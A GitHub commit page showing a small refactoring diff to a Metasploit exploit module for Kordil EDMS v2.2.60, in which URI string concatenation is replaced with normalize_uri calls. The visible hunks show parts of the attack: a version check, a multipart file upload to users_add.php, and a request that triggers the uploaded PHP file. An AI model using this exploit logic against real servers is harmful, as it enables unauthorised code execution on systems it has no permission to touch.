Skip to content

Commit 690e7ec

Browse files
committed
Uses normalize_uri
1 parent b930613 commit 690e7ec

File tree

1 file changed

+3
-5
lines changed

1 file changed

+3
-5
lines changed

modules/exploits/multi/http/kordil-edms-upload-exec.rb

Lines changed: 3 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -49,14 +49,13 @@ def initialize(info={})
4949
def check
5050

5151
base = target_uri.path
52-
base << '/' if base[-1, 1] != '/'
5352
peer = "#{rhost}:#{rport}"
5453

5554
# retrieve software version from login page
5655
begin
5756
res = send_request_cgi({
5857
'method' => 'GET',
59-
'uri' => "#{base}global_group_login.php"
58+
'uri' => normalize_uri(base, 'global_group_login.php')
6059
})
6160
if res and res.code == 200
6261
if res.body =~ /<center><font face="Arial" size="2">Kordil EDMS v2\.2\.60/
@@ -84,7 +83,7 @@ def upload(base, file)
8483

8584
res = send_request_cgi({
8685
'method' => 'POST',
87-
'uri' => "#{base}users_add.php",
86+
'uri' => normalize_uri(base, 'users_add.php'),
8887
'ctype' => "multipart/form-data; boundary=#{data.bound}",
8988
'data' => data_post
9089
})
@@ -104,7 +103,6 @@ def on_new_session(client)
104103
def exploit
105104

106105
base = target_uri.path
107-
base << '/' if base[-1, 1] != '/'
108106
@peer = "#{rhost}:#{rport}"
109107
@fname = rand_text_numeric(7)
110108

@@ -127,7 +125,7 @@ def exploit
127125
begin
128126
res = send_request_cgi({
129127
'method' => 'GET',
130-
'uri' => "#{base}userpictures/#{@fname}.php"
128+
'uri' => normalize_uri(base, 'userpictures', "#{@fname}.php")
131129
})
132130
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
133131
fail_with(Exploit::Failure::Unreachable, "#{@peer} - Connection failed")

0 commit comments

Comments
 (0)